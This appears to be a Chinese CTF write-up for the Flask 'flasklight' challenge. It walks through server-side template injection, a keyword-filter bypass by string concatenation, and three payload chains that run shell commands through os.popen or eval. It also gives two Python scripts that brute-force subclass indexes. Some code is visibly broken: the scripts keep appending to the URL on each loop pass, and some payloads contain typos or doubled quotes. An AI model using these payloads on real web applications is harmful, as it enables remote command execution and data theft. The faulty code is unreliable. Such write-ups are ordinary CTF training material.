目录
题目分析
看题目名称,可能是flask模板注入
查看页面源码,提示get方式传入search
text
payload:?search={{7*7}}
返回49,确定是模板注入
模板注入相关知识
判断模板类型
继承关系
魔术方法
python
__class__ # 查找当前类型的所属对象
__base__ # 沿着父子类的关系往上走一个
__mro__ # 查找当前对象继承的所有继承类
__subclasses__() # 查找父类下所有的子类
__init__ # 查看类是否重载,重载指的是程序在运行时就加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__globals__ # 函数会以字典的形式返回当前对象的全部全局变量
常用注入模块
解法一:使用config
text
payload:?search={{config}}
没ban环境变量,那么直接开始做题
text
payload:?search={{config.__class__.__init__.__.globals__['os'].popen('whoami').read()}}
报错,应该是设置了过滤,经过逐个输入,确定过滤了global
过滤绕过
有许多绕过方法:
+拼接
~拼接
过滤器
寻找falg
我们使用+拼接即可绕过
text
payload:?search={{config.__class__.__init__['__glo'+'bals__']['os'].popen('ls').read()}}
看看flasklight
text
payload:?search={{config.__class__.__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}}
查看flag
text
payload:?search={{config.__class__.__init__['__glo'+'bals__']['os'].popen(''cat /flasklight/coomme_geeeett_youur_flek'').read()}}
解法二:在已加载os模块的子类中直接调用os模块
python脚本查找加载os模块的子类
python
import requests
url = input('请输入url链接:')
for i in range(500):
data = "?search={{().__class__.__base__.__subclasses__()["+str(i)+"].__init__['__glo'+'bals__']}}"
url += data;
try:
response = requests.get(url)
# print(response.text)
if 'os.py' in response.text:
print(i)
break
except:
pass
结果
解题
寻找flag的过程省略
text
payload:{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}
解法三:内建函数eval执行命令
python脚本寻找命令位置
python
import requests
url = input('请输入url链接:')
for i in range(500):
data = "?search={{().__class__.__base__.__subclasses__()["+str(i)+"].__init__['__glo'+'bals__']}}"
url += data;
try:
response = requests.get(url)
# print(response.text)
if 'eval' in response.text:
print(i)
break
except:
pass
结果
解题
text
payload:{{[].__class__.__base__.__subclasses__()[58].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}